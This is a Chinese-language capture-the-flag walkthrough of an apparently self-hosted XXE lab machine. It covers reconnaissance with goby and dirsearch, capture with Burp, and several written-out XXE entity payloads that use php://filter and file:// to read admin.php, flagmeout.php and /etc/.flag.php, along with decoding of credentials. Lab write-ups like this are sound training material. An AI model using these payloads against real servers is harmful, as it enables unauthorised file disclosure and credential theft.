环境地址自行查找
1.寻找靶机地址
使用工具goby进行扫描 因为我的靶场是搭在ubuntu上 直接查找系统是Ubuntu的就可以找到
靶机IP 172.16.1.183
2.访问靶场
3.使用目录扫描工具进行扫描
使用kali自带的dirsearch进行扫描 可以看到一个robots.txt文件
4.访问robots.txt文件
可以看到有两个目录 一个是admin.php 另一个是xxe
访问admin.php无法访问
访问xxe 发现是一个登录页面
5.进行抓包
使用burp进行登录页面抓包
可以看到是使用xml语言编写的
6.发送到重放器
当我们修改name时 发现页面有回显
7.读取admin.php文件
通过php协议base64加密读写admin.php
<!DOCTYPE r [
<!ELEMENT r ANY>
<!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
8.进行解码
9.查看用户信息
查看解码的结果 可以看到有账号和密码
10.对密码进行解码
使用在线网址进行解密就可以得到密码
11.进行登录
172.16.1.183/xxe/admin.php
可以看到flag
点击可以发现又一个php文件
12.读取flagmeout.php文件
<!DOCTYPE r [
<!ELEMENT r ANY>
<!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=flagmeout.php">
]>
13.进行base64解码
发现flag还要进行base32解码
解码之后 还要进行base64解码 可以看到flag的地址
14.读取flag文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY>
<!ENTITY test SYSTEM "file:///etc/.flag.php">
]>
15.将乱码放在php文件
16.访问编写的php文件
页面可以看到flag文件